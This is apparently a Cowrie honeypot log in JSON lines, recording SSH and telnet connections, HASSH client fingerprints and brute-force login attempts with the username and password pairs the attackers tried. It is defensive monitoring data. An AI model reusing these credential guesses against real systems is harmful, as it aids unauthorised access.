{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:19.894549Z","src_ip":"91.92.42.227","session":"368d9aeb112f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48008,"dst_ip":"159.203.135.109","dst_port":23,"session":"8f85e01ad173","protocol":"telnet","message":"New connection: 128.199.8.54:48008 (159.203.135.109:23) [session: 8f85e01ad173]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:21.125496Z"}
{"eventid":"cowrie.session.connect","src_ip":"4.213.224.194","src_port":44050,"dst_ip":"10.17.0.5","dst_port":22,"session":"87dab578d754","protocol":"ssh","message":"New connection: 4.213.224.194:44050 (10.17.0.5:22) [session: 87dab578d754]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:21.322003Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:21.327439Z","src_ip":"4.213.224.194","session":"87dab578d754","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:21.529770Z","src_ip":"4.213.224.194","session":"87dab578d754","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"harsh","password":"harsh","message":"login attempt [harsh/harsh] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:22.376907Z","src_ip":"4.213.224.194","session":"87dab578d754","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qazxsw2","message":"login attempt [root/1qazxsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:22.620646Z","src_ip":"91.92.42.227","session":"368d9aeb112f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:23.580801Z","src_ip":"4.213.224.194","session":"87dab578d754","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.6","message":"Connection lost after 4.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:24.028741Z","src_ip":"91.92.42.227","session":"368d9aeb112f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.222.183","src_port":48610,"dst_ip":"159.203.135.109","dst_port":22,"session":"c2c0097bce8b","protocol":"ssh","message":"New connection: 103.15.222.183:48610 (159.203.135.109:22) [session: c2c0097bce8b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:25.475412Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:25.522675Z","src_ip":"103.15.222.183","session":"c2c0097bce8b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:25.776456Z","src_ip":"103.15.222.183","session":"c2c0097bce8b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"28011983","message":"login attempt [root/28011983] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:26.539796Z","src_ip":"103.15.222.183","session":"c2c0097bce8b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41806,"dst_ip":"10.17.0.5","dst_port":22,"session":"47e30319cfc6","protocol":"ssh","message":"New connection: 91.92.42.227:41806 (10.17.0.5:22) [session: 47e30319cfc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:26.829591Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:26.946543Z","src_ip":"91.92.42.227","session":"47e30319cfc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:26.949739Z","src_ip":"91.92.42.227","session":"47e30319cfc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qwe!@","message":"login attempt [root/123qwe!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:27.712815Z","src_ip":"91.92.42.227","session":"47e30319cfc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:27.796427Z","src_ip":"103.15.222.183","session":"c2c0097bce8b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.0","message":"Connection lost after 2.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:28.818418Z","src_ip":"91.92.42.227","session":"47e30319cfc6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":41896,"dst_ip":"10.17.0.5","dst_port":22,"session":"b5a26c8a6b65","protocol":"ssh","message":"New connection: 91.92.42.227:41896 (10.17.0.5:22) [session: b5a26c8a6b65]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:33.832066Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:33.877937Z","src_ip":"91.92.42.227","session":"b5a26c8a6b65","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:33.934438Z","src_ip":"91.92.42.227","session":"b5a26c8a6b65","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"root","message":"login attempt [user/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:34.511107Z","src_ip":"91.92.42.227","session":"b5a26c8a6b65","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:35.689337Z","src_ip":"91.92.42.227","session":"b5a26c8a6b65","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":36272,"dst_ip":"10.17.0.5","dst_port":22,"session":"673b66b1e894","protocol":"ssh","message":"New connection: 91.92.42.227:36272 (10.17.0.5:22) [session: 673b66b1e894]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:41.195345Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:41.299817Z","src_ip":"91.92.42.227","session":"673b66b1e894","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:41.303087Z","src_ip":"91.92.42.227","session":"673b66b1e894","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Aa123123","message":"login attempt [root/Aa123123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:42.505254Z","src_ip":"91.92.42.227","session":"673b66b1e894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.7","message":"Connection lost after 2.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:43.861505Z","src_ip":"91.92.42.227","session":"673b66b1e894","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.76046657562256,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:45.742956Z","src_ip":"102.37.220.188","session":"2c7ede648784","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":49090,"dst_ip":"10.17.0.5","dst_port":22,"session":"b0ec4b31db9e","protocol":"ssh","message":"New connection: 91.92.42.227:49090 (10.17.0.5:22) [session: b0ec4b31db9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:48.642128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:48.811279Z","src_ip":"91.92.42.227","session":"b0ec4b31db9e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:48.814738Z","src_ip":"91.92.42.227","session":"b0ec4b31db9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":44.05782103538513,"message":"Connection lost after 44 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:49.519608Z","src_ip":"128.199.8.54","session":"3e949985ff86","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"deploy","password":"1234","message":"login attempt [deploy/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:49.932102Z","src_ip":"91.92.42.227","session":"b0ec4b31db9e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:51.257951Z","src_ip":"91.92.42.227","session":"b0ec4b31db9e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"51.250.105.222","src_port":58856,"dst_ip":"10.17.0.5","dst_port":22,"session":"e6dbde933395","protocol":"ssh","message":"New connection: 51.250.105.222:58856 (10.17.0.5:22) [session: e6dbde933395]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:51.851670Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:51.855598Z","src_ip":"51.250.105.222","session":"e6dbde933395","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:51.983770Z","src_ip":"51.250.105.222","session":"e6dbde933395","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"checking!@!@%","message":"login attempt [root/checking!@!@%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:52.360561Z","src_ip":"51.250.105.222","session":"e6dbde933395","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":36.437705516815186,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:53.243237Z","src_ip":"172.81.62.90","session":"0ee3e8a4fc47","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:53.487381Z","src_ip":"51.250.105.222","session":"e6dbde933395","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.42.227","src_port":44454,"dst_ip":"10.17.0.5","dst_port":22,"session":"cf1fa4f088cb","protocol":"ssh","message":"New connection: 91.92.42.227:44454 (10.17.0.5:22) [session: cf1fa4f088cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:56.241802Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-06-19T06:58:56.369966Z","src_ip":"91.92.42.227","session":"cf1fa4f088cb","protocol":"ssh"}
